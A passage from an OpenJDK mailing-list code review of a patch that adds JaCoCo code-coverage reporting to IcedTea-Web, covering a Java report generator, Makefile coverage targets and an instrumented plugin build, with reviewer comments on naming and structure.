this.xmlOutput = new File(report, XML_DEF_NAME); >> + } >> + >> + public ReportGenerator(String title, File exec, File htmlReport, File xmlReport) { >> + this.title = title; >> + this.executionDataFile = exec; >> + this.reportDirectory = htmlReport; >> + this.xmlOutput = xmlReport; >> + } >> + >> + public ReportGenerator(String title, File exec, File report) { >> + this.title = title; >> + this.executionDataFile = exec; >> + this.reportDirectory = report; >> + this.xmlOutput = new File(report, XML_DEF_NAME); >> + } >> + >> + public void addSource(File f) { >> + sourceDirectories.add(f); >> + >> + } >> + >> + public void addClasses(File f) { >> + classesDirectories.add(f); >> + >> + } >> + >> + /** >> + * Create the report. >> + * >> + * @throws IOException >> + */ >> + public void execute() throws IOException { >> + >> + // Read the jacoco.exec file. Multiple data stores could be merged >> + // at this point >> + loadExecutionData(); >> + >> + // Run the structure analyzer on a single class folder to build up >> + // the coverage model. The process would be similar if your classes >> + // were in a jar file. Typically you would create a bundle for each >> + // class folder and each jar you want in your report. If you have >> + // more than one bundle you will need to add a grouping node to your >> + // report >> + final IBundleCoverage bundleCoverage = analyzeStructure(); >> + >> + if (reportDirectory != null) { >> + createHtmlReport(bundleCoverage); >> + } >> + if (xmlOutput != null) { >> + createXmlReport(bundleCoverage); >> + } >> + >> + } >> + >> + private void createHtmlReport(final IBundleCoverage bundleCoverage) >> + throws IOException { >> + >> + // Create a concrete report visitor based on some supplied >> + // configuration. In this case we use the defaults >> + final HTMLFormatter htmlFormatter = new HTMLFormatter(); >> + final IReportVisitor visitor = htmlFormatter.createVisitor(new FileMultiReportOutput(reportDirectory)); >> + >> + // Initialize the report with all of the execution and session >> + // information. At this point the report doesn't know about the >> + // structure of the report being created >> + visitor.visitInfo(sessionInfoStore.getInfos(), >> + executionDataStore.getContents()); >> + >> + // Populate the report structure with the bundle coverage information. >> + // Call visitGroup if you need groups in your report. >> + MultiSourceFileLocator msf = new MultiSourceFileLocator(4); >> + for (File file : sourceDirectories) { >> + msf.add(new DirectorySourceFileLocator( >> + file, "utf-8", 4)); >> + } >> + >> + visitor.visitBundle(bundleCoverage, msf); >> + >> + // Signal end of structure information to allow report to write all >> + // information out >> + visitor.visitEnd(); >> + >> + } >> + >> + private void createXmlReport(final IBundleCoverage bundleCoverage) >> + throws IOException { >> + >> + OutputStream fos = new FileOutputStream(xmlOutput); >> + try { >> + // Create a concrete report visitor based on some supplied >> + // configuration. In this case we use the defaults >> + final XMLFormatter htmlFormatter = new XMLFormatter(); >> + final IReportVisitor visitor = htmlFormatter.createVisitor(fos); >> + >> + // Initialize the report with all of the execution and session >> + // information. At this point the report doesn't know about the >> + // structure of the report being created >> + visitor.visitInfo(sessionInfoStore.getInfos(), >> + executionDataStore.getContents()); >> + >> + // Populate the report structure with the bundle coverage information. >> + // Call visitGroup if you need groups in your report. >> + visitor.visitBundle(bundleCoverage, null); >> + >> + >> + // Signal end of structure information to allow report to write all >> + // information out >> + visitor.visitEnd(); >> + } finally { >> + if (fos != null) { >> + fos.close(); >> + } >> + } >> + >> + } >> + >> + private void loadExecutionData() throws IOException { >> + final FileInputStream fis = new FileInputStream(executionDataFile); >> + try { >> + final ExecutionDataReader executionDataReader = new ExecutionDataReader( >> + fis); >> + executionDataStore = new ExecutionDataStore(); >> + sessionInfoStore = new SessionInfoStore(); >> + >> + executionDataReader.setExecutionDataVisitor(executionDataStore); >> + executionDataReader.setSessionInfoVisitor(sessionInfoStore); >> + >> + while (executionDataReader.read()) { >> + } >> + } finally { >> + if (fis != null) { >> + fis.close(); >> + } >> + } >> + } >> + >> + private IBundleCoverage analyzeStructure() throws IOException { >> + final CoverageBuilder coverageBuilder = new CoverageBuilder(); >> + final Analyzer analyzer = new Analyzer(executionDataStore, >> + coverageBuilder); >> + for (File file : classesDirectories) { >> + analyzer.analyzeAll(file); >> + >> + } >> + >> + return coverageBuilder.getBundle(title); >> + } >> + >> + @Override >> + public void run() { >> + try { >> + execute(); >> + } catch (IOException ex) { >> + throw new RuntimeException(ex); >> + } >> + } >> + >> + public static void main(final String[] args) throws IOException { >> + String root = "/home/jvanek/Desktop/icedtea-web/"; > > There's maybe a slight chance someone else will want to run this :)) > >> + >> + String src1 = root + "netx/"; >> + String src2 = root + "plugin/icedteanp/java/"; >> + String src3 = root + "tests/test-extensions/"; >> + String src4 = root + "tests/test-extensions-tests/"; >> + String src5 = root + "tests/netx/unit/"; >> + String src6 = root + "tests/junit-runner/"; > > I'd say either give these descriptive names or do something like: > > String[] sources = {"netx/", ...}; and > > for (String s : sources) { > sourceDirectories.add(new File(root + s)); > } > > >> + //reproducers srcs+testcases >> + >> + String cls1 = root + "netx.build/lib/classes.jar"; >> + String cls2 = root + "liveconnect/lib/classes.jar"; >> + String cls3 = root + "tests.build/test-extensions/"; >> + //??String cls4=root+"tests/test-extensions-tests/"; >> + String cls5 = root + "tests.build/netx/unit/"; >> + String cls6 = root + "tests.build/junit-runner/"; > > As above, numbered variable names are a code smell IMO. > >> + //reproducers jars and testcases >> + >> + >> + >> + final List sourceDirectories = new ArrayList(10); >> + sourceDirectories.add(new File(src1)); >> + sourceDirectories.add(new File(src2)); >> + sourceDirectories.add(new File(src3)); >> + sourceDirectories.add(new File(src4)); >> + sourceDirectories.add(new File(src5)); >> + sourceDirectories.add(new File(src6)); >> + >> + final List classesDirectories = new ArrayList(10); >> + classesDirectories.add(new File(cls1)); >> + classesDirectories.add(new File(cls2)); >> + classesDirectories.add(new File(cls3)); >> + classesDirectories.add(new File(cls5)); >> + classesDirectories.add(new File(cls6)); >> + >> + >> + final ReportGenerator generator = new ReportGenerator( >> + "icedtea-web coverage report", >> + new File(cls5 + "/" + MergeTask.DEFAULT_NAME), classesDirectories, sourceDirectories, >> + new File(root + "unit-report")); >> + generator.execute(); >> + >> + } >> +} >> Both main methods removed. SHould not be here.... > > >> diff -r aff6fb36a9ab tests/plugin_fakeing.patch >> --- /dev/null Thu Jan 01 00:00:00 1970 +0000 >> +++ b/tests/plugin_fakeing.patch Wed Dec 05 16:40:30 2012 +0100 >> @@ -0,0 +1,31 @@ >> +--- IcedTeaNPPlugin.cc >> ++++ IcedTeaNPPlugin.cc >> +@@ -1623,12 +1623,13 @@ >> + int cmd_num = 0; >> + if (plugin_debug) >> + { >> +- command_line = (gchar**) malloc(sizeof(gchar*)*11); >> ++ command_line = (gchar**) malloc(sizeof(gchar*)*12); >> + command_line[cmd_num++] = g_strdup(appletviewer_executable); >> + command_line[cmd_num++] = g_strdup(PLUGIN_BOOTCLASSPATH); >> + // set the classpath to avoid using the default (cwd). >> + command_line[cmd_num++] = g_strdup("-classpath"); >> + command_line[cmd_num++] = g_strdup_printf("%s/lib/rt.jar", ICEDTEA_WEB_JRE); >> ++ command_line[cmd_num++] = g_strdup(COVERAGE_AGENT); >> + command_line[cmd_num++] = g_strdup("-Xdebug"); >> + command_line[cmd_num++] = g_strdup("-Xnoagent"); >> + if (plugin_debug_suspend) >> +@@ -1644,11 +1645,12 @@ >> + command_line[cmd_num] = NULL; >> + } else >> + { >> +- command_line = (gchar**) malloc(sizeof(gchar*)*8); >> ++ command_line = (gchar**) malloc(sizeof(gchar*)*9); >> + command_line[cmd_num++] = g_strdup(appletviewer_executable); >> + command_line[cmd_num++] = g_strdup(PLUGIN_BOOTCLASSPATH); >> + command_line[cmd_num++] = g_strdup("-classpath"); >> + command_line[cmd_num++] = g_strdup_printf("%s/lib/rt.jar", ICEDTEA_WEB_JRE); >> ++ command_line[cmd_num++] = g_strdup(COVERAGE_AGENT); >> + command_line[cmd_num++] = g_strdup("sun.applet.PluginMain"); >> + command_line[cmd_num++] = g_strdup(out_pipe_name); >> + command_line[cmd_num++] = g_strdup(in_pipe_name); > > I think we could do better by having an ifdef here for COVERAGE_AGENT, eg (based off HEAD), attached > is an example patch that accomplishes this (as well as merging the duplicate code, so I didn't have > to add it in two places). This will not require patching of the source tree, the extra define passed > will suffice. You will be able to work off the original source this way. As we agreed on irc, definitely :) btw.. I hope you are right with c++ pathc you suggested and I have blindly used :) > > Happy hacking, > -Adam -------------- next part -------------- A non-text attachment was scrubbed... Name: jacocoRoundII-reportingTool.diff Type: text/x-patch Size: 29467 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121211/95a6ecfc/jacocoRoundII-reportingTool.diff -------------- next part -------------- A non-text attachment was scrubbed... Name: jacocoRoundII-integration.diff Type: text/x-patch Size: 22091 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121211/95a6ecfc/jacocoRoundII-integration.diff From adomurad at redhat.com Tue Dec 11 10:00:33 2012 From: adomurad at redhat.com (Adam Domurad) Date: Tue, 11 Dec 2012 13:00:33 -0500 Subject: [fyi] [icedtea-web] new code coverage direction - jacoco In-Reply-To: <50C7679F.9060608@redhat.com> References: <50B4FA0C.5030502@redhat.com> <50B64717.1040705@redhat.com> <50B71F68.10203@redhat.com> <50BF6C77.4010507@redhat.com> <50C0740E.4040305@redhat.com> <50C61E4D.6030606@redhat.com> <50C7679F.9060608@redhat.com> Message-ID: <50C774C1.3080306@redhat.com> Comments inline On 12/11/2012 12:04 PM, Jiri Vanek wrote: > [ .. snip .. ] >> >> So I take it that this patch relies on a few components that are not >> yet upstream ? What is the >> current effect of the patch ? > > Luckily, my packaging patch was already pushed to testing and looks good- > https://admin.fedoraproject.org/updates/FEDORA-2012-20019/jacoco-0.5.9-3.fc17 > (and one for f18 and rawhide). Cool :) > > There rise (past tense:) small complication - in f17 jacoco will > remain compatible with asm3, in 18+ with asm4. (see the change in > configure.ac) > > So now, with this updated jacoco installed, asm3 as default (on f17 > and asm4 on f18+) and my patch in, you will run successfully unittest > coverage. > > My patch for upstream to allow coverage of bootclassapth is still in > progress of upstreaming so to run reproducers coverage you must have > your custom jacoco build:( > > Report generation tool will be in icedtea-web repository untill it is > upstreamed. so there is no harm by this not being upstreamed yet. > > One more hint - asm3 is causing that report is not generated. So you > need custom asm4 jacoco anyway.... I will discuse with jacoco > maintainer this issue one more times. Thanks for the details. > > >> >>> diff -r aff6fb36a9ab Makefile.am >>> --- a/Makefile.am Mon Dec 03 18:08:38 2012 +0100 >>> +++ b/Makefile.am Wed Dec 05 16:40:30 2012 +0100 >>> @@ -20,6 +20,8 @@ >>> export JUNIT_RUNNER_DIR=$(TESTS_DIR)/junit-runner >>> export JUNIT_RUNNER_SRCDIR=$(TESTS_SRCDIR)/junit-runner >>> >>> +export JACOCO_OPERATOR_DIR=$(TESTS_DIR)/jacoco-operator >>> +export JACOCO_OPERATOR_SRCDIR=$(TESTS_SRCDIR)/jacoco-operator >>> >>> export TEST_EXTENSIONS_SRCDIR=$(TESTS_SRCDIR)/test-extensions >>> export >>> TEST_EXTENSIONS_TESTS_SRCDIR=$(TESTS_SRCDIR)/test-extensions-tests >>> @@ -56,6 +58,22 @@ >>> export ALL_NONCUSTOM_REPRODUCERS=$(SIMPLE_REPRODUCERS) >>> $(SIGNED_REPRODUCERS) >>> export ALL_REPRODUCERS=$(ALL_NONCUSTOM_REPRODUCERS) >>> $(CUSTOM_REPRODUCERS) >>> >>> +export JACOCO_PATH:=$(shell dirname "$(JACOCO_JAR)") >>> +export JACOCO_AGENT=org.jacoco.agent.jar >>> +export JACOCO_ANT=org.jacoco.ant.jar >>> +export JACOCO_REPORT=org.jacoco.report.jar >>> +export JACOCO_AGENTRT=org.jacoco.agent.rt.jar >>> +export JACOCO_CORE=org.jacoco.core.jar >>> +export JACOCO_JAVAWS_RESULTS=$(TEST_EXTENSIONS_DIR)/jacoco_javaws.exec >>> +export JACOCO_PLUGIN_RESULTS=$(TEST_EXTENSIONS_DIR)/jacoco_plugin.exec >>> +export >>> JACOCO_CLASSPATH=$(JACOCO_PATH)/$(JACOCO_CORE):$(JACOCO_PATH)/$(JACOCO_AGENT):$(JACOCO_PATH)/$(JACOCO_REPORT):$(JACOCO_PATH)/$(JACOCO_AGENTRT):$(JACOCO_PATH)/$(JACOCO_ANT):$(ASM4_JAR) >>> +export >>> JACOCO_AGENT_SWITCH_BODY=-javaagent:$(JACOCO_PATH)/$(JACOCO_AGENTRT) >>> +export JACOCO_BASE_EXCLUDE=org.junit.*:junit.* >>> +export >>> JACOCO_ADVANCED_EXCLUDE=:*jacoco*:java.lang.*:java.reflect.*:java.util.*:sun.reflect.* >>> +export >>> JACOCO_AGENT_SWITCH="$(JACOCO_AGENT_SWITCH_BODY)=excludes=$(JACOCO_BASE_EXCLUDE)" >>> +export >>> JACOCO_AGENT_JAVAWS_SWITCH=\"$(JACOCO_AGENT_SWITCH_BODY)=excludes=$(JACOCO_BASE_EXCLUDE)$(JACOCO_ADVANCED_EXCLUDE),xboot=true,destfile=$(JACOCO_JAVAWS_RESULTS)\" >>> +export >>> JACOCO_AGENT_PLUGIN_SWITCH=\"$(JACOCO_AGENT_SWITCH_BODY)=excludes=$(JACOCO_BASE_EXCLUDE)$(JACOCO_ADVANCED_EXCLUDE),xboot=true,destfile=$(JACOCO_PLUGIN_RESULTS)\" >>> +export JACOCO_OPERATOR_EXEC=$(BOOT_DIR)/bin/java $(EMMA_JAVA_ARGS) >>> -cp $(JACOCO_OPERATOR_DIR):$(JACOCO_CLASSPATH):. >>> org.jacoco.operator.Main >>> >>> # linking variables >>> export PLUGIN_LINK_NAME=libjavaplugin.so >>> @@ -103,6 +121,7 @@ >>> # >>> export >>> LAUNCHER_BOOTCLASSPATH="-Xbootclasspath/a:$(datadir)/$(PACKAGE_NAME)/netx.jar$(RHINO_RUNTIME)" >>> export >>> PLUGIN_BOOTCLASSPATH='"-Xbootclasspath/a:$(datadir)/$(PACKAGE_NAME)/netx.jar:$(datadir)/$(PACKAGE_NAME)/plugin.jar$(RHINO_RUNTIME)"' >>> +export >>> PLUGIN_COVERAGE_BOOTCLASSPATH='"-Xbootclasspath/a:$(datadir)/$(PACKAGE_NAME)/netx.jar:$(datadir)/$(PACKAGE_NAME)/plugin.jar$(RHINO_RUNTIME):$(JACOCO_CLASSPATH)"' >>> >>> # Fake update version to work with the Deployment Toolkit script >>> used by Oracle >>> #http://download.oracle.com/javase/tutorial/deployment/deploymentInDepth/depltoolkit_index.html >>> @@ -128,6 +147,9 @@ >>> export LIVECONNECT_SRCS = $(PLUGIN_SRCDIR)/java >>> export ICEDTEAPLUGIN_TARGET = >>> $(PLUGIN_DIR)/$(BUILT_PLUGIN_LIBRARY) stamps/liveconnect-dist.stamp >>> export PLUGIN_PKGS = sun.applet netscape.security netscape.javascript >>> +#those are for plugin testcoverage >>> +export FAKE_PLUGIN_SRCDIR=$(TESTS_DIR)/icedteanp-srcs >>> +export FAKE_PLUGIN_DIR=$(TESTS_DIR)/icedteanp-build >> >> FAKE_PLUGIN is confusing, it sounds to me a bit like a 'phony >> target'. Maybe INSTRUMENTED_PLUGIN... >> (or something less verbose if you choose) > > become COVERABLE_PLUGIN >> >>> endif >>> >>> if CP_SUPPORTS_REFLINK >>> @@ -588,6 +610,9 @@ >>> junit-runner-source-files.txt: >>> find $(JUNIT_RUNNER_SRCDIR) -name '*.java' | sort > $@ >>> >>> +jacoco-operator-source-files.txt: >>> + find $(JACOCO_OPERATOR_SRCDIR) -name '*.java' | sort > $@ >>> + >>> $(JUNIT_RUNNER_JAR): junit-runner-source-files.txt >>> stamps/test-extensions-compile.stamp >>> mkdir -p $(JUNIT_RUNNER_DIR) && \ >>> $(BOOT_DIR)/bin/javac $(IT_JAVACFLAGS) \ >>> @@ -825,8 +850,8 @@ >>> $(BOOT_DIR)/bin/java $(REPRODUCERS_DPARAMETERS) \ >>> -Xbootclasspath:$(RUNTIME) CommandLine $$class_names >>> if WITH_XSLTPROC >>> - $(XSLTPROC) --stringparam logs logs_reproducers.html >>> $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/jreport.xsl >>> $(TEST_EXTENSIONS_DIR)/tests-output.xml > >>> $(TESTS_DIR)/index_reproducers.html >>> - $(XSLTPROC) $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/logs.xsl >>> $(TEST_EXTENSIONS_DIR)/ServerAccess-logs.xml > >>> $(TESTS_DIR)/logs_reproducers.html >>> + -$(XSLTPROC) --stringparam logs logs_reproducers.html >>> $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/jreport.xsl >>> $(TEST_EXTENSIONS_DIR)/tests-output.xml > >>> $(TESTS_DIR)/index_reproducers.html >>> + -$(XSLTPROC) $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/logs.xsl >>> $(TEST_EXTENSIONS_DIR)/ServerAccess-logs.xml > >>> $(TESTS_DIR)/logs_reproducers.html >>> endif >>> touch $@ >>> >>> @@ -1002,8 +1027,8 @@ >>> CLASSPATH=$(NETX_DIR)/lib/classes.jar:$(JUNIT_JAR):$(JUNIT_RUNNER_JAR):$(TEST_EXTENSIONS_DIR):. >>> \ >>> $(BOOT_DIR)/bin/java -Xbootclasspath:$(RUNTIME) CommandLine >>> $$class_names >>> if WITH_XSLTPROC >>> - $(XSLTPROC) --stringparam logs logs_unit.html >>> $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/jreport.xsl >>> $(NETX_UNIT_TEST_DIR)/tests-output.xml > $(TESTS_DIR)/index_unit.html >>> - $(XSLTPROC) $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/logs.xsl >>> $(NETX_UNIT_TEST_DIR)/ServerAccess-logs.xml > >>> $(TESTS_DIR)/logs_unit.html >>> + -$(XSLTPROC) --stringparam logs logs_unit.html >>> $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/jreport.xsl >>> $(NETX_UNIT_TEST_DIR)/tests-output.xml > $(TESTS_DIR)/index_unit.html >>> + -$(XSLTPROC) $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/logs.xsl >>> $(NETX_UNIT_TEST_DIR)/ServerAccess-logs.xml > >>> $(TESTS_DIR)/logs_unit.html >>> endif >>> mkdir -p stamps && \ >>> touch $@ >>> @@ -1049,6 +1074,53 @@ >>> endif >>> touch $@ >>> >>> +stamps/compile-jacoco-operator.stamp: jacoco-operator-source-files.txt >>> +if WITH_JACOCO >>> + mkdir -p $(JACOCO_OPERATOR_DIR) && \ >>> + $(BOOT_DIR)/bin/javac $(IT_JAVACFLAGS) \ >>> + -d $(JACOCO_OPERATOR_DIR) \ >>> + -classpath $(JACOCO_CLASSPATH) \ >>> + @jacoco-operator-source-files.txt ; >>> +else >>> + echo "Sorry, jacoco coverage report generator cant be compiled >>> without jacoco installed. Try install jacoco or specify with-jacoco >>> value" ; >>> >> >> Do you mean 'Try installing jacoco' ? It sounds like you're >> suggesting a command :) > > fixed! > >> >> >>> + exit 5 >>> +endif >>> + touch $@ >>> + >>> + >>> +#warning, during this target >>> tests.build/netx/unit/tests-output.xml is backup and rewriten (but >>> not coresponding html file) >>> +#xml results run with jacoco agent however, can be wrong, co the >>> new tests-output.xml is then renamed and orginal one restored >>> +stamps/run-unit-test-code-coverage-jacoco.stamp: >>> stamps/netx-unit-tests-compile.stamp $(JUNIT_RUNNER_JAR) \ >>> + $(TESTS_DIR)/$(REPORT_STYLES_DIRNAME) $(UNIT_CLASS_NAMES) >>> stamps/compile-jacoco-operator.stamp >>> +if WITH_JACOCO >>> + filename=" " ; \ >>> + cd $(NETX_UNIT_TEST_SRCDIR) ; \ >>> + for file in `find . -type f \! -iname "*.java"`; do\ >>> + filename=`echo $$file `; \ >>> + cp --parents $$filename $(NETX_UNIT_TEST_DIR) ; \ >>> + done ; \ >>> + cd $(NETX_UNIT_TEST_DIR) ; \ >>> + for file in $(EMMA_MODIFIED_FILES) ; do \ >>> + mv $(NETX_UNIT_TEST_DIR)/$$file >>> $(NETX_UNIT_TEST_DIR)/"$$file""$(EMMA_BACKUP_SUFFIX)" ; \ >>> + done ;\ >>> + class_names=`cat $(UNIT_CLASS_NAMES)` ; \ >>> + >>> CLASSPATH=$(NETX_DIR)/lib/classes.jar:$(JUNIT_JAR):$(JUNIT_RUNNER_JAR):$(TEST_EXTENSIONS_DIR):$(JACOCO_CLASSPATH):. >>> \ >>> + $(BOOT_DIR)/bin/java $(JACOCO_AGENT_SWITCH) >>> -Xbootclasspath:$(RUNTIME) CommandLine $$class_names ; \ >>> + for file in $(EMMA_MODIFIED_FILES) ; do \ >>> + mv $(NETX_UNIT_TEST_DIR)/$$file >>> $(NETX_UNIT_TEST_DIR)/"$$file""$(EMMA_SUFFIX)" ; \ >>> + mv $(NETX_UNIT_TEST_DIR)/"$$file""$(EMMA_BACKUP_SUFFIX)" >>> $(NETX_UNIT_TEST_DIR)/$$file ; \ >>> + done ; \ >>> + $(JACOCO_OPERATOR_EXEC) \ >>> + report --die-soon --html-output coverage --xml-output >>> coverage.xml --input-file jacoco.exec \ >>> + --input-srcs $(NETX_SRCDIR) $(PLUGIN_SRCDIR)/java >>> $(NETX_UNIT_TEST_SRCDIR) $(JUNIT_RUNNER_SRCDIR) >>> $(TEST_EXTENSIONS_SRCDIR) \ >>> + --input-builds $(NETX_DIR)/lib/classes.jar >>> $(abs_top_builddir)/liveconnect/lib/classes.jar >>> $(NETX_UNIT_TEST_DIR) $(JUNIT_RUNNER_JAR) $(TEST_EXTENSIONS_DIR) \ >>> + --title "IcedTea-Web unit-tests codecoverage" ; >>> +else >>> + echo "Sorry, coverage report cant be run without jacoco >>> installed. Try install jacoco or specify with-jacoco value" ; >> >> See above >> >>> + exit 5 >>> +endif >>> + touch $@ >>> + >>> #warning, during this target >>> tests.build/netx/jnlp_testsengine/tests-output.xml is backup and >>> rewriten (but not coresponding html file) >>> #xml results run from emma sandbox, however, can be wrong, co the >>> new tests-output.xml is then renamed and orginal one restored >>> stamps/run-reproducers-test-code-coverage.stamp: >>> stamps/run-netx-dist-tests.stamp $(REPRODUCERS_CLASS_NAMES) >>> @@ -1139,7 +1211,152 @@ >>> endif >>> touch $@ >>> >>> -run-test-code-coverage: run-unit-test-code-coverage >>> run-reproducers-test-code-coverage >>> +$(FAKE_PLUGIN_SRCDIR): >>> + mkdir -p $(FAKE_PLUGIN_SRCDIR) ; \ >>> + cp -r $(PLUGIN_SRCDIR)/* $(FAKE_PLUGIN_SRCDIR) ; \ >>> + cd $(FAKE_PLUGIN_SRCDIR) ; \ >>> + rm *.o ; \ >>> + rm *.so ; \ >>> + rm -rf java ; \ >>> + patch -p0 < $(TESTS_SRCDIR)/plugin_fakeing.patch ; \ >>> + mkdir -p $(FAKE_PLUGIN_DIR); >> >> I don't know if I like this approach, a patch is pretty brittle and >> easy to break by accident (it >> already happened). See my comments below near the patch file for >> suggestions of alternatives (which >> doesn't involve copying and patching source). > > Sure. With list this is getting much more simple. > >> >>> + >>> +$(FAKE_PLUGIN_DIR)/%.o: $(FAKE_PLUGIN_SRCDIR)/%.cc >>> + cd $(FAKE_PLUGIN_DIR) && \ >>> + $(CXX) $(CXXFLAGS) \ >>> + $(DEFS) $(VERSION_DEFS) \ >>> + -DJDK_UPDATE_VERSION="\"$(JDK_UPDATE_VERSION)\"" \ >>> + -DPLUGIN_NAME="\"IcedTea-Web Faked Plugin\"" \ >> >> 'IcedTea-Web Plugin with Jacoco' will be clearer if anyone happens to >> see this message. >> >>> + -DPLUGIN_VERSION="\"$(PLUGIN_VERSION)\"" \ >>> + -DPACKAGE_URL="\"$(PACKAGE_URL)\"" \ >>> + -DMOZILLA_VERSION_COLLAPSED="$(MOZILLA_VERSION_COLLAPSED)" \ >>> + -DICEDTEA_WEB_JRE="\"$(SYSTEM_JRE_DIR)\"" \ >>> + -DPLUGIN_BOOTCLASSPATH=$(PLUGIN_COVERAGE_BOOTCLASSPATH) \ >>> + -DCOVERAGE_AGENT=$(JACOCO_AGENT_PLUGIN_SWITCH) \ >>> + $(GLIB_CFLAGS) \ >>> + $(GTK_CFLAGS) \ >>> + $(MOZILLA_CFLAGS) \ >>> + -fvisibility=hidden \ >>> + -fPIC -o $@ -c $< >>> + >>> +$(FAKE_PLUGIN_DIR)/$(BUILT_PLUGIN_LIBRARY): $(addprefix >>> $(FAKE_PLUGIN_DIR)/,$(PLUGIN_OBJECTS)) >>> + cd $(FAKE_PLUGIN_DIR) && \ >>> + $(CXX) $(CXXFLAGS) \ >>> + $(PLUGIN_OBJECTS) \ >>> + $(GLIB_LIBS) \ >>> + $(GTK_LIBS) \ >>> + $(MOZILLA_LIBS) \ >>> + -shared -o $@ >>> + >>> +stamps/build-fake-plugin.stamp: $(FAKE_PLUGIN_SRCDIR) $(addprefix >>> $(FAKE_PLUGIN_SRCDIR)/,$(PLUGIN_SRC)) $(addprefix >>> $(FAKE_PLUGIN_DIR)/,$(PLUGIN_OBJECTS)) stamps/liveconnect-dist.stamp >>> $(FAKE_PLUGIN_DIR)/$(BUILT_PLUGIN_LIBRARY) >>> + touch $@ >>> + >>> +#warning, during this target >>> tests.build/netx/jnlp_testsengine/tests-output.xml is backup and >>> rewriten (but not coresponding html file) >>> +#xml results run with jacoco agent, however, can be wrong, co the >>> new tests-output.xml is then renamed and orginal one restored >>> +stamps/run-reproducers-test-code-coverage-jacoco.stamp: >>> stamps/run-netx-dist-tests.stamp $(REPRODUCERS_CLASS_NAMES) \ >>> +stamps/compile-jacoco-operator.stamp stamps/build-fake-plugin.stamp >>> +if WITH_JACOCO >>> + cd $(TESTS_DIR) ; \ >>> + for file in $(EMMA_MODIFIED_FILES) ; do \ >>> + mv $(TEST_EXTENSIONS_DIR)/$$file >>> $(TEST_EXTENSIONS_DIR)/"$$file""$(EMMA_BACKUP_SUFFIX)" ; \ >>> + done ;\ >>> + echo "backuping javaws in $(DESTDIR)$(bindir)" ; \ >>> + javaws_backup=$(DESTDIR)$(bindir)/javaws_backup ; \ >>> + mv $(DESTDIR)$(bindir)/javaws $$javaws_backup ; \ >>> + echo "patching $(javaws)" ; \ >>> + nw_bootclasspath="$(LAUNCHER_BOOTCLASSPATH):$(JACOCO_CLASSPATH)" ; \ >>> + cat $$javaws_backup | sed >>> "s|COMMAND.k.=\"..JAVA.\"|COMMAND[k]=\"\\$$\\{JAVA\\}\" ; k=1 ; >>> COMMAND[k]=$(JACOCO_AGENT_JAVAWS_SWITCH)|" | sed >>> "s,$(LAUNCHER_BOOTCLASSPATH),$$nw_bootclasspath," > >>> $(DESTDIR)$(bindir)/$(javaws) ; \ >>> + chmod 777 $(DESTDIR)$(bindir)/$(javaws) ; \ >>> + echo "backuping plugin in >>> $(DESTDIR)/$(libdir)$(BUILT_PLUGIN_LIBRARY)" ; \ >>> + plugin_backup=$(DESTDIR)$(libdir)/$(BUILT_PLUGIN_LIBRARY)_backup ; \ >>> + mv $(DESTDIR)$(libdir)/$(BUILT_PLUGIN_LIBRARY) $$plugin_backup >>> ; \ >>> + echo "fakeing plugin" ; \ >>> + cp $(FAKE_PLUGIN_DIR)/$(BUILT_PLUGIN_LIBRARY) >>> $(DESTDIR)$(libdir)/$(BUILT_PLUGIN_LIBRARY) ; \ >>> + testcases_srcs=( ) ; \ >>> + k=0 ; \ >>> + types=($(ALL_REPRODUCERS)); \ >>> + for which in "$${types[@]}" ; do \ >>> + . $(abs_top_srcdir)/NEW_LINE_IFS ; \ >>> + simpleReproducers=(`cat >>> $(abs_top_builddir)/junit-jnlp-dist-$$which.txt `); \ >>> + IFS="$$IFS_BACKUP" ; \ >>> + for dir in "$${simpleReproducers[@]}" ; do \ >>> + >>> testcases_srcs[k]="$(REPRODUCERS_TESTS_SRCDIR)/$$which/$$dir/testcases/" >>> ; \ >>> + k=$$((k+1)) ; \ >>> + done ; \ >>> + done ; \ >>> + cd $(TEST_EXTENSIONS_DIR) ; \ >>> + class_names=`cat $(REPRODUCERS_CLASS_NAMES)` ; \ >>> + >>> CLASSPATH=$(NETX_DIR)/lib/classes.jar:$(JUNIT_JAR):$(JUNIT_RUNNER_JAR):.:$(TEST_EXTENSIONS_DIR):$(JACOCO_CLASSPATH):$(TEST_EXTENSIONS_TESTS_DIR) >>> \ >>> + $(BOOT_DIR)/bin/java $(JACOCO_AGENT_SWITCH) >>> $(REPRODUCERS_DPARAMETERS) \ >>> + -Xbootclasspath:$(RUNTIME) CommandLine $$class_names ; \ >>> + if [ -f $(JACOCO_JAVAWS_RESULTS) ] ; then \ >>> + jacoco_javaws_results=$(JACOCO_JAVAWS_RESULTS) ; \ >>> + $(JACOCO_OPERATOR_EXEC) \ >>> + report --die-soon --html-output coverage-javaws >>> --xml-output coverage-javaws.xml --input-file >>> $(JACOCO_JAVAWS_RESULTS) \ >>> + --input-srcs $(NETX_SRCDIR) \ >>> + --input-builds $(NETX_DIR)/lib/classes.jar \ >>> + --title "IcedTea-Web javaws reproducers codecoverage" ; \ >>> + fi; \ >>> + if [ -f $(JACOCO_PLUGIN_RESULTS) ] ; then \ >>> + jacoco_plugin_results=$(JACOCO_PLUGIN_RESULTS) ; \ >>> + $(JACOCO_OPERATOR_EXEC) \ >>> + report --die-soon --html-output coverage-plugin >>> --xml-output coverage-plugin.xml --input-file >>> $(JACOCO_PLUGIN_RESULTS) \ >>> + --input-srcs $(NETX_SRCDIR) $(PLUGIN_SRCDIR)/java \ >>> + --input-builds $(NETX_DIR)/lib/classes.jar >>> $(abs_top_builddir)/liveconnect/lib/classes.jar \ >>> + --title "IcedTea-Web plugin reproducers codecoverage" ; \ >>> + fi; \ >>> + $(JACOCO_OPERATOR_EXEC) \ >>> + merge --die-soon --input-files jacoco.exec >>> $$jacoco_javaws_results $$jacoco_plugin_results --output-file >>> jacoco-merged-reproducers.exec ; \ >>> + $(JACOCO_OPERATOR_EXEC) \ >>> + report --html-output coverage --xml-output coverage.xml >>> --input-file jacoco-merged-reproducers.exec \ >>> + --input-srcs $(NETX_SRCDIR) $(PLUGIN_SRCDIR)/java >>> 